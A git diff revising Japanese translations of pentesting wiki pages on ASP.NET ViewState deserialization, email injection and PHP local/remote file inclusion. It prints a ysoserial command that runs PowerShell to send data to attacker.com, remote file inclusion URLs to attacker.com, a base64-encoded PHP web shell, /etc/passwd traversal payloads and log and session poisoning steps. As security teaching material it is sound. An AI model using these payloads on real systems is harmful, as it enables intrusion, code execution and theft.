**を使用してシリアライズされたペイロードを生成することです。** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` @@ -153,25 +155,25 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -ViewStateデシリアライズの脆弱性を成功裏に悪用すると、攻撃者が制御するサーバーへのアウトオブバンドリクエストが発生し、ユーザー名が含まれます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。エクスプロイトプロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。 +ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。 -### テストケース 6 – ViewStateUserKeysが使用されている +### Test Case 6 – ViewStateUserKeysが使用されている **ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\ ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` -### 成功した悪用の結果 +### 成功したエクスプロイトの結果 -すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。 +すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを受け取ります。 -[さらなる情報はこちらを確認してください]() +[さらに詳しい情報はこちらを確認してください]() ## 参考文献 - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) -- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ +- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md index 3b29eab7f..3f2e2eb26 100644 --- a/src/pentesting-web/email-injections.md +++ b/src/pentesting-web/email-injections.md @@ -16,11 +16,11 @@ From:sender@domain.com%0ATo:attacker@domain.com ``` メッセージは元の受信者と攻撃者のアカウントに送信されます。 -### Subject引数のインジェクション +### Subject引数の注入 ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` -偽の件名は元の件名に追加され、場合によってはそれを置き換えます。これはメールサービスの動作に依存します。 +偽の件名は元の件名に追加され、場合によってはそれを置き換えます。これはメールサービスの動作によります。 ### メッセージの本文を変更する @@ -56,18 +56,18 @@ Parameter #4 [ $additional_parameters ] **sendmail**インターフェースは、システムにインストールされている**MTAメールソフトウェア**(Sendmail、Postfix、Eximなど)によって提供されます。基本的な機能(-t -i -fパラメータなど)は互換性の理由から**同じ**ですが、**他の機能やパラメータ**はインストールされているMTAによって大きく異なります。 -以下は、sendmailコマンド/インターフェースの異なるマニュアルページのいくつかの例です: +以下は、sendmailコマンド/インターフェースの異なるmanページのいくつかの例です: - Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences -**sendmail**バイナリの起源に応じて、これらを悪用して**ファイルを漏洩させたり、任意のコマンドを実行したりする**ための異なるオプションが発見されています。方法については、[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)を確認してください。 +**sendmail**バイナリの起源に応じて、悪用するためのさまざまなオプションが発見され、**ファイルを漏洩させたり、任意のコマンドを実行したりすることができます**。方法については、[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)を確認してください。 ## メール名に注入する > [!CAUTION] -> 任意のドメイン名(Github、Gitlab、CloudFlare Zero trustなど)でアカウントを作成し、確認メールを受信してそれを確認できた場合、被害者企業の機密情報にアクセスできる可能性があります。 +> 任意のドメイン名(Github、Gitlab、CloudFlare Zero trustなど)でサービスにアカウントを作成し、確認メールを受信してそれを確認できた場合、被害者企業の機密情報にアクセスできる可能性があります。 ### メールの無視される部分 @@ -75,7 +75,7 @@ Parameter #4 [ $additional_parameters ] - 例:john.doe+intigriti@example.com → john.doe@example.com -**括弧 () 内のコメント**は、先頭または末尾にある場合も無視されます。 +**括弧 ()** の間のコメントも無視されます。 - 例:john.doe(intigriti)@example.com → john.doe@example.com @@ -98,12 +98,12 @@ IPを角括弧で囲んでドメイン名として使用することもできま [**この研究**](https://portswigger.net/research/splitting-the-email-atom)で説明されているように、メール名にはエンコードされた文字も含まれることがあります: -- **PHP 256オーバーフロー**:PHPの`chr`関数は、文字が正になるまで256を加え続け、その後`%256`の操作を行います。 +- **PHP 256オーバーフロー**:PHPの`chr`関数は、文字が正になるまで256を加え続け、その後操作`%256`を行います。 - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` > [!TIP] > このトリックの目的は、`RCPT TO:<"collab@psres.net>collab"@example.com>`のような注入を行うことです。\ -> これにより、確認メールが予期されるメールアドレスとは異なるメールアドレスに送信され(したがって、メール名内に別のメールアドレスを挿入し、メール送信時に構文を壊すことになります)。 +> これにより、確認メールが予期しないメールアドレスに送信され(したがって、メール名内に別のメールアドレスを挿入し、メール送信時に構文を壊すことになります)。 異なるエンコーディング: ```bash @@ -137,15 +137,15 @@ x@xn--svg/-9x6 → x@` は `=3e`、null は `=00` +- エンコードされた `@` は =40、エンコードされた `>` は `=3e`、null は `=00` です - 確認メールは `collab@psres.net` に送信されます - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` -- 前回と同じトリックですが、最初に通常の引用符を追加し、エンコードされた引用符 `=22` をエンコードされた `@` の前に追加し、次のメールの前にいくつかの引用符を開始および閉じて、Zendeskによって内部で使用される構文を修正します +- 前回と同じトリックですが、最初に通常の引用符を追加し、エンコードされた引用符 `=22` をエンコードされた `@` の前に追加し、次のメールの前にいくつかの引用符を開始および閉じて、Zendeskによって内部的に使用される構文を修正します - 確認メールは `collab@psres.net` に送信されます - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` - アドレスを区切るためにアンダースコアをスペースとして使用していることに注意してください - 確認メールは `collab@psres.net` に送信されます -- Punycode: Punycodeを使用して、Joomlaにタグ `)。 +すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](/>))。 ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -99,21 +99,21 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= - **`/etc/passwd` の内容:** `private` フォルダーの存在が確認されました。 4. **再帰的探索:** 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。 -ファイルシステム内の異なる場所にあるディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、`/var/www/` に `private` ディレクトリが含まれているか確認するには(現在のディレクトリが深さ3にあると仮定して)、次のようにします: +ファイルシステム内の異なる場所でディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、`/var/www/` に `private` ディレクトリが含まれているか確認するには(現在のディレクトリが深さ3にあると仮定して)、次のようにします: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **パストランケーション技術** -パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。 +パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することで、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。 PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば: - `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。 - 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。 -- 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。 +- 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。 -提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を持つ一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています: +提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -123,11 +123,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。 +これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの設定によって異なる場合があります。 -- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)を追加のドットセグメントや文字と組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。 -- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、次に`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。 -- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は、予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。 +- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。 +- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。 +- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。 パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。 @@ -148,20 +148,20 @@ In php this is disable by default because **`allow_url_include`** is **Off.** It http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます: +もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!NOTE] -> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、その文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。 +> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、そのため文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。 別の例は **`php://` プロトコルを使用しない** ものです: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Root element +## Python ルート要素 -Pythonのこのようなコードでは: +In python in a code like this one: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) @@ -179,9 +179,9 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") Javaでパストラバーサルがある場合、**ファイルではなくディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。 -## トップ25パラメータ +## トップ 25 パラメータ -ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25パラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から): +ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から): ``` ?cat={payload} ?dir={payload} @@ -226,13 +226,13 @@ PHPフィルターは、データが読み込まれる前または書き込ま - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv..`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。 +- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。 > [!WARNING] > `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを書くためや、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に抽出する場合に便利) +- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に送信する場合に便利) - `zlib.inflate`: データを解凍します - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : 非推奨 @@ -278,16 +278,16 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the 元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します: - コーデック **`UCS-4LE`** を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。 -- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**を引き起こします。 +- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。 - **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数かどうかを知ることができます。 -- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数であれば、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。 -- コーデック **convert.iconv.UNICODE.CP930** は、すべての文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用すると、a->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともに引き起こされます。 +- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができ、十分な変換を行うことでそれが16進数文字でなくなるのを確認できます。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。 +- コーデック **convert.iconv.UNICODE.CP930** は、各文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見することができます。なぜなら、このコーデックを6回適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなるため、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされるからです。 - **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。 -- 最初の文字が数字の場合は、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。 +- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。 - 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。 -- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することです(これにより、初期テキストの最初の2バイトが削除されます)。これを繰り返して、漏洩させたいビットに到達するまで続けます。 +- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して次の2バイトと**ピボット**し、**ジャンクデータまでデータを削除**することです(これにより初期テキストの最初の2バイトが削除されます)。これを希望するビットを漏洩するまで続けます。 -この記事では、この操作を自動的に実行するツールも漏洩しました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 +記事では、この操作を自動的に実行するツールも漏洩されました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 ### php://fd @@ -356,11 +356,11 @@ $phar->stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -実行時に、`test.phar`という名前のファイルが作成され、これを利用してローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。 +実行時に `test.phar` というファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。 -LFIがPHPコードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。 +LFI が PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。 -`.phar`ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください: +`.phar` ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -370,28 +370,28 @@ phar-deserialization.md ### CVE-2024-2961 -**phpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを得ることが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\ -非常に簡単な要約:PHPヒープ内の**3バイトオーバーフロー**を悪用して、特定のサイズのフリーチャンクのチェーンを**変更し、任意のアドレスに何でも書き込むことができるようにし、**`system`**を呼び出すフックが追加されました。**\ -特定のサイズのチャンクを割り当てることが、他のPHPフィルターを悪用して可能でした。 +**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は [**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\ +非常に簡単な要約:PHP ヒープの **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更する** ことができ、任意のアドレスに **何でも書き込む** ことができるようになり、**`system`** を呼び出すためのフックが追加されました。\ +特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。 -### さらなるプロトコル +### その他のプロトコル -ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:** +ここに含める可能性のある[ **プロトコルをさらに確認してください**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明) - [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス -- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス +- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない) -- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2 +- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない) -## PHPの'assert'によるLFI +## PHP の 'assert' を介した LFI -PHPにおけるローカルファイルインクルージョン(LFI)のリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。 +PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。 -例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります: +例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります: ```bash assert("strpos('$file', '..') === false") or die(""); ``` @@ -428,14 +428,14 @@ assert("strpos('$file', '..') === false") or die(""); ### Apache/Nginxログファイル経由 -ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内に**``**のようなPHPシェルを設定し、そのファイルをインクルードすることができます。 +ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内にPHPシェルのような**``**を設定し、そのファイルをインクルードすることができます。 > [!WARNING] > シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。 > > また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーが発生し、二度と機会がありません。 -他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\ +他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\ 他の可能なログパス: ```python /var/log/apache2/access.log @@ -452,7 +452,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### メール経由 -**内部アカウントにメールを送信** (user@localhost) し、`` のようなPHPペイロードを含め、**`/var/mail/`** または **`/var/spool/mail/`** のパスでユーザーのメールに含めるようにします。 +**メールを送信** して、PHPペイロードを含む内部アカウント (user@localhost) に送信します。ペイロードは `` のようにし、ユーザーのメールに **`/var/mail/`** または **`/var/spool/mail/`** のようなパスを含めてみてください。 ### /proc/\*/fd/\* 経由 @@ -461,7 +461,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### /proc/self/environ 経由 -ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。 +ログファイルのように、User-Agent にペイロードを送信します。これにより、/proc/self/environ ファイル内に反映されます。 ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: @@ -487,7 +487,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ファイルに保存されます。 +PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます。 ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -496,7 +496,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm ``` login=1&user=&pass=password&lang=en_us.php ``` -PHPセッションファイルを含めるためにLFIを使用します +PHPセッションファイルを含めるためにLFIを使用します。 ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` @@ -513,7 +513,7 @@ FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Loca ### Via php base64 filter (using base64) -[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視してbase64に"php"を追加します。以下はペイロードの例です: +[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを検索できます。 +**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで**、**セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを検索できます。 {{#ref}} lfi2rce-via-segmentation-fault.md @@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。 